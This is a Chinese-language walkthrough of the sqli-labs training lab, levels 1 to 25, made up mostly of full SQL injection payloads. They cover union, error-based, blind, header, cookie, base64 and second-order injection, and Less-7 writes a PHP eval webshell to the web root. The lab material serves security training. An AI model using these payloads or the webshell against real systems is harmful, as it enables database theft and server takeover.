1. 程式人生 > >sqli-lab教程——1-35通關Writeup

sqli-lab教程——1-35通關Writeup

剛做sqli-lab的時候,我逛了幾個部落格論壇沒找到什麼特別完整的教程,在這裡寫一篇更完整的教程。有關sql注入的基礎知識請檢視我的另外一篇部落格,sql注入基礎知識(還沒寫出來)

 

本教程中使用到的函式if() left() extractvalue() group_concat() concat_ws() concat() database() 可以在我的 sql注入入門必備基礎知識(還沒寫出來) 中找到具體說明和使用方法。

一些術語使用錯誤請見諒。

一些題目有多種方法,本人也是在學習當中,我會盡可能補全,但是精力有限,文章不盡完美,請見諒。


Page-1(Basic Challenges)

 

 

Less-1 GET - Error based - Single quotes - String(基於錯誤的GET單引號字元型注入)

  • 方法一:手工UNION聯合查詢注入

輸入單引號,頁面報錯,如下圖所示

根據報錯資訊,可以確定輸入引數的內容被存放到一對單引號中間,

猜想:咱們輸入的1在資料庫中出現的位置為:select ... from ... where id=’1’ ......,

也可以檢視sqli-lab中less-1的php檔案可以看到,和猜想一致,

多餘的步驟不多說了,直接開始爆資料吧。

 

注意 id=非正確值

爆庫payload

?id=-1' union select 1,2,database() --+

得到‘security’庫名

爆表payload

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

查到  emails,referers,uagents,users ,顯然users是使用者資料表

 

爆列名(欄位)payload

?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

爆值payload

?id=0' union select 1,2,group_concat(username,0x3a,password) from users--+

0x3a: 0x是十六進位制標誌,3a是十進位制的58,是ascii中的 ':' ,用以分割pasword和username。

 

方法二:手工報錯型注入

檢測報錯型payload

?id=1' and 1=1--+    //正確
?id=1' and 1=2--+    //失敗

證明確實存在手工報錯型注入,

注意id=正確值

 

爆表payload

?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+

爆列名(欄位)payload

?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+

 顯然沒有完全顯示

使用 and column_name not in ('user_id','first_name','last_name','user','avatar','last_login','failed_login') 來顯示其他值:

?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('user_id','first_name','last_name','user','avatar','last_login','failed_login')))) --+

爆值payload

?id=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))--+

同樣使用not in顯示其他值

?id=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','I-kill-you'))))--+

 

方法三:sqlmap工具自動注入

sqlmap最起碼適用於1-10題,其他沒試過,sqlmap的使用有教程,我先不在這裡寫了,畢竟這篇主要是理解sql注入的教程。

以後有空再補充吧。

注入結束。

 

Less-2 GET - Error based - Intiger based (基於錯誤的GET整型注入)

輸入單引號,根據報錯資訊確定咱們輸入的內容被原封不動的帶入到資料庫中,也可叫做數字型注入,

就是,把第一題中id=1後面的單引號去掉,其它保持不變就行了,不再贅述。

 

Less-3 GET - Error based - Single quotes with twist string (基於錯誤的GET單引號變形字元型注入)

輸入單引號,根據報錯資訊確定咱們輸入的內容存放到一對單引號加圓括號中了,猜想一下咱們輸入1在資料庫語句中的位置,形如select ... from ... where id=(‘1’) ...,在第一題中id=1‘的後面單引號加上),其它保持不變就行了,不再贅述。

其實我推薦,做完題去看看它題目的php傳參語句,和過濾語句,對理解sql注入原理很有幫助的。

 

Less-4 GET - Error based - Double Quotes - String (基於錯誤的GET雙引號字元型注入)

輸入單引號,頁面無任何變化,

輸入雙引號,頁面報錯,

根據報錯資訊判斷出咱們輸入的內容被放到一隊雙引號和圓括號中,

猜想一下:select ... from ... where id=(”1”) ...,把第一題中1後面的引號換成雙引號加)就可以了。

不再贅述。

 

Less-5 GET - Double Injection - Single Quotes - String (雙注入GET單引號字元型注入)

看到這個報錯資訊,第一反應就是布林型盲注、報錯型注入、時間延遲型盲注了

下面給出驗證時間延遲型的盲注:

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and sleep(5)--+

發現明顯延遲,說明猜測正確。接下來的思路是通過延遲,依次爆破資料庫長度,資料庫名,表名,列名,以及欄位。

布林型和時間延遲型盲注建議採用sqlmap去跑。

其實本題不能稱作盲注,因為存在回顯,真正的盲注時不存在回顯的,只能根據瀏覽器載入頁面情況,判定是否注入成功。

一些專業術語的誤用請見諒。

方法一:時間延遲型手工注入:

時間延遲型手工注入,正確會延遲,錯誤沒有延遲。id無所謂,又不看回顯,可以通過瀏覽器的重新整理提示觀察延遲情況,但是id正確的時候的回顯有利於觀察。

時間延遲型報錯型payload核心部分的構造相同

本方法中payload  =  ?id=1' and if(報錯型payload核心部分,sleep(5),1)--+

爆庫長payload

?id=1' and if(length(database())=8,sleep(5),1)--+

 

 明顯延遲,資料庫長度為8.

爆庫名payload

?id=1' and if(left(database(),1)='s',sleep(5),1)--+

明顯延遲,資料庫第一個字元為s,加下來以此增加left(database(),字元長度)中的字元長度,等號右邊以此爆破下一個字元,正確匹配時會延遲。最終爆破得到left(database(),8)='security'

爆表名payload

?id=1' and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)--+

通過堅持不懈的測試,終於在limit 3,1 爆破出user表名為users.

爆列名payload

?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(5),1)--+

首先嚐試定向爆破,以提高手工注入速度,修改limit x,1 中的x查詢password是否存在表中,lucky的是limit 3,1的時候查到了password列,同樣的方法查詢username ,又一個lucky,接下來爆破欄位的值。

爆破值payload

?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+
?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+

 按照id排序,這樣便於對應。注意limit 從0開始.通過堅持不懈的嘗試終於爆破到第一個使用者的名字dumb,密碼dumb,需要注意的是,mysql對大小寫不敏感,所以你不知道是Dumb 還是dumb。

還有下面的還幾個使用者沒爆破,重複性的工作,我們技術人,應該少做,要學會如何在前人的基礎上更近一層,前幾天看了劉慈欣的《鄉村教師》,感觸很深,我們使用聲波文字這樣的載體傳輸資訊,每秒傳輸幾個位元組,而且我們的儲存體系很弱,這就很大程度阻止我們人類文明程序的發展速度的提高。

所以要在更多的在前人的基礎上創造新的東西。

這種重複性的工作,不要多做。sql注入,人生苦短,快用sqlmap。

方法二,布林型手工注入:

在布林型注入中,正確會回顯,錯誤沒有回顯,以此為依據逐字爆破,注意id=1

手工注入時可使用例如left((select database()),1)<'t'  這樣的比較二分查詢方法快速爆破。

暴庫payload

?id=1' and left((select database()),1)='s'--+

 

 

可以看>'t'無回顯,而<'t'有回顯。

最終確定的庫名為security。

爆表paylaod

?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' --+

修改limit x,1和left中的位數限定數字,爆破到第一張表為referer,終於在第三張表爆破到user表,名為users。

爆列名payload

?id=1' and left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' --+

定向爆破制定password為欄位名,最後找到第4個欄位為password,同理看看有沒有usrname,最後到找到了,接下來只需要爆破這兩個欄位的值就完事了。

爆欄位payload

?id=1' and left((select password from users order by id limit 0,1),1)='d' --+

使用者名稱

?id=1' and left((select username from users order by id limit 0,1),1)='d' --+

按照id排序,這樣便於對應。注意limit 從0開始.最後爆破到第一個使用者的名字dumb,密碼dumb,需要注意的是,mysql對大小寫不敏感,所以你不知道是Dumb 還是dumb。

布林型的盲注比較煩的的就是手工注入很麻煩,必須慢慢試。

方法三,使用concat聚合函式

參考資料:http://www.2cto.com/article/201303/192718.html

簡單的說,使用聚合函式進行雙注入查詢時,會在錯誤資訊中顯示一部分錯誤資訊。

比如count函式後面如果使用分組語句就會把查詢的一部分以錯誤的形式顯示出來。

例如select count(*), concat((select version()), floor(rand()*2))as a from information_schema.tables group by a;
查詢資料庫版本,我在phpmyadmin中測試:

可以看到測試的錯誤資訊中出現了版本號。即構造雙查詢,比如派生表,使一個報錯,另一個的結果就會出現在報錯的資訊中。廢話不多說,想了解更詳細的看連結的內容,下面進入正題。

payload在concat()中構造

爆庫payload

?id=-1'union select count(*),count(*), concat('~',(select database()),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
//或者
?id=-1'union select count(*),1, concat('~',(select database()),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
//注意本本方法具有隨機性,原理待研究

爆使用者payload

?id=-1' union select count(*),1, concat('~',(select user()),'~', floor(rand()*2)) as a from information_schema.tables group by a--+

爆表名payload

?id=-1' union select count(*),1, concat('~',(select concat(table_name) from information_schema.tables where table_schema=database() limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+

 修改limit x,1 可以遍歷表名,找到user這個表,猜測它存放username和password

爆列名payload

?id=-1' union select count(*),1, concat('~',(select column_name from information_schema.columns where table_name='users' limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+

  修改limit x,1 可以遍歷列名,找到username和password列

爆欄位payload

?id=-1' union select count(*),1, concat('~',(select concat_ws('[',password,username) from users limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+

修改limit x,1 可以顯示第x個使用者的password和username  (‘[’是分隔符)

注入結束。


Less-6 GET - Double Injection - Double Quotes - String (雙注入GET雙引號字元型注入)

 雙引號字元型注入,上一題的單引號改成雙引號就可以了,同樣是兩種方法:時間延遲型的手工盲注、報錯型的手工盲注或者sqlmap,再有利用concat()幾聚合數。

步驟和第五題一樣,不再贅述。


Less-7 GET - Dump into outfile - String (匯出檔案GET字元型注入)

幾次嘗試,不難猜出註釋符被過濾了,但是看看題目:less 7 GET - Dump into outfile - String (匯出檔案GET字元型注入)

所以大概要使用檔案匯出。我投機取巧了,找了個簡單題less-2直接注入拿到路徑,方便匯出。

這裡插個小擴充套件:

winserver的iis預設路徑c:\Inetpub\wwwroot

linux的nginx一般是/usr/local/nginx/html,/home/wwwroot/default,/usr/share/nginx,/var/www/htm等

apache 就.../var/www/htm,.../var/www/html/htdocs

phpstudy 就是...\PhpStudy20180211\PHPTutorial\WWW\

xammp 就是...\xampp\htdocs

payload

Less-2/?id=-1 union select 1,@@basedir,@@datadir --+

注入less-7

payload

?id=1')) union select 1,2,'<?php @eval($_POST["cmd"]);?>' into outfile "F:\\WhiteFlie\\PhpStudy20180211\\PHPTutorial\\WWW\\sqli-labs\\ttt.php"--+

php的一句話我就不多解釋了。

注意下這裡的路徑必須用 \\

雖然回顯報錯,但是檢視本地檔案已經寫入了ttt.php,接下來中國菜刀(有需要的可以給評論一下,Email給你)連線一下。

連線之前最好用瀏覽器訪問一下,相當於執行一下,否則可能連不上。

地址:php一句話木馬的地址,後面的口令就是剛才寫的post裡寫的cmd,當然可以使用其他口令。

本題是匯出檔案GET字元型注入,實際情況下,如果可掃描出phpmyadmin的後臺,並且後臺使用弱口令,也可以通過爆破進入後臺,從後臺注入檔案。

大致過程:

再phpmyadmin的sql中執行命令:

use test; //選擇資料庫為test 
create table test(bbb varchar(64)); //在資料庫中建立一個表test
insert into test values("<?php @eval($_POST['cmd']);?>"); //在test中插入一條資料
<?php @eval($_POST['cmd']);?> select * from test into outfile '一句話木馬路徑'; //將test中的資料匯出到php檔案

然後菜刀連線一下。

再或者直接用sqlmap跑也是可以的,不在贅述。

注入完成。

  • PS:

需要說一下這個方法需要mysql資料庫開啟secure-file-priv寫檔案許可權,否則不能寫入檔案。

這是個坑,這裡說一下方法,方便讀者,不需要麻煩的再去找其他部落格資料。

如果你使用的時phpstudy,或者xammp請修改其自己的環境裡的mysql配置檔案。

進入mysql安裝目錄,找到my.ini 修改裡面的secure-file-priv引數

如果發現沒有secure_file_priv這個選項,直接再最後新增一個空的即可。

如果引號中是一個檔案路徑的話,匯入/出的檔案路徑會再這個路徑下。

這破問題困擾我挺長時間的,現在在這說下,讓以讀者少走彎路。


Less-8 GET - Blind - Boolian Based - Single Quotes (布林型單引號GET盲注)

題目名字暴露一切,本來不想看的,又瞥到了,布林型盲注,單引號,id=1回顯,價格單引號不回顯,構造一下驗證是不是布林型payload ?id=1' and 1=1 --+ 回顯了,證明沒跑了。

那就一步一步來吧,和less5一樣的,根據回顯判斷。

可以通過 > < 比較字元大小加速爆破

暴庫payload

?id=1' and left((select database()),1)='s'--+

庫名長度可使用?id=1' and length(database())=8--+ 判斷,同理表名字,段名等。

最後得到庫名?id=1' and left((select database()),8)='security'--+

爆表,爆欄位,爆值,流水操作,和less5的方法二,手工注入所有payload一摸一樣,不再贅述。

less5的方法二,時間型的注入一樣能用,

但是不知道為什麼concat聚合函式這題用不了。

注入完成。


Less-9 GET - Blind - Time based. -  Single Quotes  (基於時間的GET單引號盲注)

不管怎麼輸入,回顯總是you are ...

考慮時間型盲注,payload

?id=1' and sleep(3) --+

注意id=1,發現明顯延遲,說明注入成功,接下來爆破就完了。

這道題的payload構造和第五題的方法一是一樣的,一些廢話就不多說了,這裡就列一下過程,完事兒。

爆庫payload

?id=1' and if(length(database())=4 , sleep(3), 1) --+

發現當?id=1' and if(length(database())=8 , sleep(3), 1) --+時明顯延遲,所以庫名長為8

?id=1' and if(left(database(),1)='s' , sleep(3), 1) --+

發現明顯延遲說明庫名第一個字元為 's'

繼續爆破?id=1' and if(left(database(),8)='security' , sleep(3), 1) --+

說明庫名為 'security'

爆表payload

?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' , sleep(3), 1) --+

使用limit x,1 查詢第x個表名,和爆破庫名一樣,第一個表名為referer。終於,在第三個表爆到users這個表,顯然是使用者資訊表。

爆欄位payload

定向爆破password和username,這裡就不解釋了,第五題裡面寫的比較詳細了。

?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password', sleep(3), 1) --+
?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 9,1),8)='username', sleep(3), 1) --+

我在第4,9行分別爆破到password和username,個人環境不同的可能表位置有差別。

爆值payload

?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb' , sleep(3), 1) --+
?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb' , sleep(3), 1) --+

爆破到第一個人的username:dumb,password:dumb。修改limit x,1 繼續爆破其他使用者,手工注入比較慢,可以使用sqlmap。

注入結束。

 

Less-10 GET - Blind - Time based - double quotes (基於時間的雙引號盲注)

基於時間的雙引號盲注,只要把上一題Less-9的單引號改成雙引號,一樣的注入,不再贅述。

 


  • 11到21關的提交方式全是post型的,我這裡使用火狐瀏覽器的HackBar
  • 實踐證明,只能使用burpsuit抓包軟體,修改post引數,所以棄用hackbar,改用burpsuit。

介面常用選項介紹

less11-less20登陸框的題可以輸入帶',",),的賬號密碼,根據報錯判斷sql查詢語句的構造方式:

 

Less-11 POST - Error Based - Single quotes- String (基於錯誤的POST型單引號字元型注入)

模擬真實環境,我們作為Dump使用者使用Dump密碼登陸,可以看到以下

 

登陸成功

此時開啟hackbar選中post可以看到,已經自動載入的剛才提交的表單資料:

我剛測試了一下,hackbar提交uname=admin' and 1=2 --+&passwd=admin&submit=Submit作為post引數時,無論and後面是1=1

還是1=2,都能登陸,不知道為什麼,可能是提交的時候自動加了+號連線語句的問題。

所以現在改用burpsuit,抓包修改引數。

  • 重新來過

輸入admin admin 登陸,抓包,傳送到repeater模組

在repeater中通過修改post的引數進行注入。

 

  • 方法一 extractvalue測試payload
uname=admin' and 1=1 --+ &passwd=admin&submit=Submit //能登陸
uname=admin' and 1=2 --+ &passwd=admin&submit=Submit //不能登陸

說明注入生效,存在報錯型注入,接下來又是重複性工作,上extractvalue()

爆庫payload

uname=admin' and extractvalue(1,concat(0x7e,(select database()))) --+&passwd=admin&submit=Submit

爆表payload

uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+&passwd=admin&submit=Submit

只能查詢到前幾個表,後面加上not in ()就可以查到其他表了,如:

uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() and table_name not in ('emails')))) --+&passwd=admin&submit=Submit

這裡我們發現沒有更多的表了,而users表應該是存放使用者資訊的,所以我們進入下一步。

爆列名payload

uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+&passwd=admin&submit=Submit

使用同樣方法,可以查詢到其他列名,直到遍歷出所有列名,我們找到password和uername,開始爆值。

爆值payload

uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))--+&passwd=admin&submit=Submit

同樣使用not in 可以查詢其他值:

uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','I-kill-you'))))--+&passwd=admin&submit=Submit

  • 方法二 聯合查詢union select測試payload
uname=0' union select 1,2  --+&passwd=admin&submit=Submit

注意uname是錯誤的,才能顯示聯合查詢內容。

可以注入。

然後就是最基本的union select注入,打個樣:

爆庫payload

uname=0' union select 1,database() --+&passwd=admin&submit=Submit

不再贅述。

注入結束。

 

Less-12 POST - Error Based - Double quotes- String-with twist (基於錯誤的雙引號POST型字元型變形的注入)

雙引號報錯型注入

按照題意應該是可以使用上一題的payload只需要修改單引號為雙引號,但是實際測試不行,無論我使用--+還是%23還是#都不行,我就看了一下php檔案:

可以看到sql查詢語句:

@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";

構造一個能閉合語句而且會報錯的payload:

admin"  and extractvalue(1,concat(0x7e,(select database())))  and " 

最終admin = "admin"  and extractvalue(1,concat(0x7e,(select database())))  and " "

傳入後就變成了:

@$sql="SELECT username, password FROM users WHERE username="admin"  and extractvalue(1,concat(0x7e,(select database())))  and " " and password=($passwd) LIMIT 0,1";

 

 前閉合,中間查詢,後面報錯,應該是這樣沒錯了,實際測試沒問題,可以回顯,接下來就再concat()中構造查詢語句:

 

爆庫payload

uname=admin" and extractvalue(1,concat(0x7e,(select database())))  and " &passwd=admin&submit=Submit

 

爆表payload

uname=admin"  and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))  and "  &passwd=admin&submit=Submit

爆列payload

uname=admin"  and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')))  and "  &passwd=admin&submit=Submit

同樣使用not in查詢沒有顯示出的其他值。

爆值payload

uname=admin"  and extractvalue(1,concat(0x7e,(select group_concat(username,'~',password) from users)))  and "  &passwd=admin&submit=Submit

 

方法二,聯合注入查詢。

uname=0") union select 1,database() --+ &passwd=admin&submit=Submit

和less-11一樣的聯合查詢,不再贅述。

 

方法三,奇淫技巧

 報錯的內容為:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'admin") LIMIT 0,1' at line 1

可以看出,他在我們輸入的哪裡多加了一個雙引號和括號。

據此構造出萬能密碼的Payload:

賬號:admin")#

 

注入結束。

 

Less-13 POST - Double Injection - Single quotes- String -twist (POST單引號變形雙注入)

通過報錯可知  是通過') 閉合的

發現沒有登入成功返回資訊 ,看來是要盲注了。

方法一,報錯型

既然它返回錯誤資訊了,說明有回顯,可以報錯注入。

樣例payload

uname=admin') and extractvalue(1,concat(0x7e,(select database())))  and ('

在concat()中構造查詢語句,完事,和less-12以及之前的報錯型注入一樣,不再贅述。

方法二,時間型盲注

因為可以報錯注入,這個方法沒有回顯,就有點雞肋了,給個樣例payload:

uname=admin') and if(left(database(),1)='s',sleep(3),1) --+&passwd=admin&submit=Submit

這就又和之前的一樣了,不在贅述。

 

Less-14 POST - Double Injection - Single quotes-  String -twist (POST單引號變形雙注入)

輸入內容被放到雙引號中,報錯型注入,註釋符不可用

 

方法一,報錯型

樣例payload

uname=admin" and extractvalue(1,concat(0x7e,(select database()))) and "  &passwd=admin&submit=Submit

 

方法二,時間型盲注

效率低,雞肋

樣例payload

uname=admin" and if(left(database(),1)='s',sleep(3),1) --+ &passwd=admin&submit=Submit

方法三,聚合函式

具有隨機性,雞肋

樣例payload

uname= " union select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))as a from information_schema.tables group by a # &passwd=admin&submit=Submit

 

注入結束。

 

less-15 POST - Blind- Boolian/time Based - Single quotes (基於bool型/時間延遲單引號POST型盲注)

盲注 - 基於布林值 - 字串

怎麼輸入都沒有回顯,那就時間延遲吧。

布林測試payload

uname=admin' and 1=1 --+&passwd=admin&submit=Submit    //登陸成功
uname=admin' and 1=2 --+&passwd=admin&submit=Submit    //登入失敗

 

時間延遲測試payload

uname=admin' and sleep(5) --+&passwd=admin&submit=Submit

明顯延遲,確定使用延遲注入。

手工延遲注入,最為致命。

爆庫,表,列名,值,一次給出吧。

uname=admin' and if(length(database())=8,sleep(5),1)--+&passwd=admin&submit=Submit

uname=admin' and if(left(database(),1)='s',sleep(5),1)--+&passwd=admin&submit=Submit

uname=admin' and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)--+&passwd=admin&submit=Submit

uname=admin' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(5),1)--+&passwd=admin&submit=Submit

uname=admin' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+&passwd=admin&submit=Submit

uname=admin' and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+&passwd=admin&submit=Submit

 

 

Less-16 POST - Blind- Boolian/Time Based - Double quotes (基於bool型/時間延遲的雙引號POST型盲注)

這道題不管我在登陸框怎麼輸入,都沒有錯誤資訊顯示,猜測是延遲型盲注。

 

方法一,時間延遲注入

payload和less-15差不多,只需要把上一題正的單引號改為雙引號加括號 ") 就完事了。

不再贅述

 

方法二:奇淫技巧:

萬能賬號繞過密碼驗證:admin")#

注入結束。

 

Less-17 POST - Update Query- Error Based - String (基於錯誤的更新查詢POST注入)

單引號報錯型, 註釋符可用

這題也沒有錯誤回顯,差點就盲注去了,但是我去查了一下php檔案:

顯然,這裡對uname做了check_input的處理,check_input()函式如下

看看是如何處理的

function check_input($value)
	{
	if(!empty($value))
		{
		// truncation (see comments)
		$value = substr($value,0,15);
		}

		// Stripslashes if magic quotes enabled
		if (get_magic_quotes_gpc())
			{
			$value = stripslashes($value);
			}

		// Quote if not a number
		if (!ctype_digit($value))
			{
			$value = "'" . mysql_real_escape_string($value) . "'";
			}
		
	else
		{
		$value = intval($value);
		}
	return $value;
	}

只擷取15個字元

get_magic_quotes_gpc()

當magic_quotes_gpc=On的時候,函式get_magic_quotes_gpc()就會返回1

當magic_quotes_gpc=Off的時候,函式get_magic_quotes_gpc()就會返回0

magic_quotes_gpc函式在php中的作用是判斷解析使用者提示的資料,如包括有:post、get、cookie過來的資料增加轉義字元“\”,以確保這些資料不會引起程式,特別是資料庫語句因為特殊字元引起的汙染而出現致命的錯誤。

在magic_quotes_gpc = On的情況下,如果輸入的資料有

單引號(’)、雙引號(”)、反斜線(\)與 NULL(NULL 字元)等字元都會被加上反斜線。

stripslashes()刪除由 addslashes() 函式新增的反斜槓

ctype_digit()判斷是不是數字,是數字就返回true,否則返回false

mysql_real_escape_string()轉義 SQL 語句中使用的字串中的特殊字元。

intval()     整型轉換

我靠做了這麼多花裡胡哨的過濾,你怎麼沒對password也搞一次?

 

針對password爆破:

使用updatexml(),它和extractvaule()是親兄弟,以下測試version()返回mysql版本:

 

爆庫payload

 

爆表名payload

 

爆列名payload

uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('user_id','user','first_name','last_name','avatar','last_login','failed_login')),0x7e),1) --+ &submit=Submit

 

爆值payload

使用 :uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1) --+ &submit=Submit

發現不行:

 

加一層select試試,

uname=admin&passwd=admin' and  updatexml(1,concat(0x7e,(select password from (select password from users where username='admin'))),1) --+ &submit=Submit

查了一下加個名,就完事了

最終payload:

uname=admin&passwd=11'  and  updatexml(1,concat(0x7e,(select password from (select password from users where username='admin') mingzi ),0x7e),1) --+&submit=Submit

也可以用:

uname=admin&passwd=11'  and  updatexml(1,concat(0x7e,(select password from (select password from users limit 7,1) test ),0x7e),1) --+&submit=Submit

注入完成。

 

Less-18 POST - Header Injection - Uagent field - Error based (基於錯誤的使用者代理,頭部POST注入)

報錯型,單引號,user-agent型注入點。

看到user-agent的回顯,猜測注入點在user-agnet,可以直接測試,但是我去看看php檔案吧:

我靠,真是說啥來啥,上一題還說passwrod沒做check,這題就做了,

又看到 insert語句,他把user-agent插入到了資料庫,所以可以從這裡下手,而且看的出來是單引號型,接下來開始爆破。

抓包修改user-agent為一下payload就可以了。

 

測試爆庫payload

 'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '

沒毛病,可以爆破

接下來的步驟和之前的報錯型注入一摸一樣,

payload可以參看,less-12 雙引號報錯型注入,只需要把雙引號改為單引號就可以作為本題的payload,這裡就不再贅述。

樣例爆庫payload:

User-Agent:'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '

注入結束。

 

 

Less-19 POST - Header Injection - Referer field - Error based (基於頭部的Referer POST報錯注入)

單引號,報錯型,referer型注入點。

本題和上一題很像,回顯是referer,查一下php檔案可以發現,insert語句中向資料庫插入了referer,所以注入點改為referer,paylaod和上一題完全一樣,也可以參照less-12,將其雙引號改為單引號作為本題payload,不再贅述。

樣例爆庫payload:

Referer:'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '

注入結束。


Page-2 (Advanced Injections)

 

 

Less-20 POST - Cookie injections - Uagent field  - Error based (基於錯誤的cookie頭部POST注入)

單引號,報錯型,cookie型注入。

登入後頁面:

檢視一下php檔案,

可以看到查詢語句查詢了cookee,那我們就在cookies裡面進行注入

抓包看一下:

看到cookie:uname=admin 沒毛病就是cookie注入了

價格單引號發現:

爆出語法錯誤,看得出來就是單引號型。

加下來查一下行數

Cookie: uname=admin' order by 3--+ //1-3 正常
Cookie: uname=admin' order by 4--+ //4 不正常 ,確定行數為3

爆庫payload

Cookie: uname=-admin' union select 1,2,database()--+

爆破成功。

接下來又是重複性的步驟,只需要在第三個查詢位置修改payload就可以完成sql注入,有需要可以檢視less-1中的payload構造,很本題十分相似。

這裡不再贅述。

注入結束。

 

Less-21 Cookie Injection- Error Based- complex - string ( 基於錯誤的複雜的字元型Cookie注入)

base64編碼,單引號,報錯型,cookie型注入。

本關和less-20相似,只是cookie的uname值經過base64編碼了。

登入後頁面:

圈出來的地方顯然是base64加密過的,解碼得到:admin,就是剛才登陸的uname,所以猜測:本題在cookie處加密了字串,

檢視php檔案確實如此,所以只需要上傳paylaod的時候base64加密一下就可以了。

先抓包看一下:

看到cookie是YWRtaW4%3D ,和頁面顯示不一樣,但是明顯%3D 是=號urldecode的結果,接下來構造paylaod進行測試

admin' and 1=1 --+    //明文
YWRtaW4nIGFuZCAxPTEgLS0r    //密文

看到紅圈處的提示,所以應該構造 ') 這種的 

這裡就不演示爆行數了,上一題已經做過了。

經過我多次測試,--+在此處不好用,需要使用#來註釋。

 

示例爆庫paylaod:

-admin') union select 1,2,database()#
LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixkYXRhYmFzZSgpIw==

接下來只需要修改第三條查詢語句,和less-20一樣(注意用#註釋,而不用--+),只要base64加密後寫入cookie,就可以完成注入,不再贅述。

注入完成。

 

 

Less-22 Cookie Injection- Error Based- Double Quotes - string (基於錯誤的雙引號字元型Cookie注入)

base64編碼,雙引號,報錯型,cookie型注入。

和less-21一樣的,只需要使用雙引號代替單引號再取掉括號,一樣的配方一樣的味道。

不再贅述。

樣例payload

-admin" union select 1,2,database()#
LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkj

注入完成。

 

 

Less-23 GET - Error based - strip comments (基於錯誤的,過濾註釋的GET型)

基於錯誤-無評論

這道題不看php很蒙,我試了半天還是去看php了:

看到替換了能用的註釋符,所以我們構造閉合語句:

爆庫payload

?id=' union select 1,2,database() '

爆表payload

?id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() or '1'= '

爆列名payload

?id=' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' or '1'= '

爆值payload

?id=' union select 1,group_concat(username),group_concat(password) from users where 1 or '1' = '

 

注入完成。

 

 

Less - 24 Second Degree Injections  *Real treat* -Store Injections (二次注入)

二次注入

我們的步驟是

1.註冊一個admin'#的賬號。

2.登入admin'#該,修改該帳號的密碼,此時修改的就是admin的密碼,我修改為123456。

Sql語句變為UPDATE users SET passwd="New_Pass" WHERE username =' admin' # ' AND password='

也就是執行了UPDATE users SET passwd="New_Pass" WHERE username =' admin'

成功的話跳轉頁面會提示Password successfully updated

3.用剛修改的密碼我的是123456,登陸admin管理員賬號,就可以成功登陸。

 

注入結束。

 

 

Less-25 Trick with OR & AND (過濾了or和and)

OR & AND 欺騙

測試一下

payload
?id=1' #

Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in F:\WhiteFlie\PhpStudy20180211\PHPTutorial\WWW\sqli-labs\Less-25\index.php on line 37
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1


payload
?id=1' --+

Your Login name:Dumb
Your Password:Dumb

看到id周圍全是單引號,

但是第二種payload沒有報錯,可以注入。

方法一,--+繞過,一般注入。

樣例payload

?id=-1' union select 1,2,database()--+

有必要說一下這題在爆值的時候對password進行了處理,查詢password列,回顯no column passwd,所以雙寫or繞過

同理information也是。

樣例paload

?id=-1' union select 1,2,group_concat(username,0x7e,passwoorrd) from users--+

 

方法二,雙寫or或and繞過

測試payload

?id=0' oorr 1=1 --+
?id=2' aandnd 1=1 --+

or and形成閉合語句,sql查詢,不再贅述。

注入結束。

 

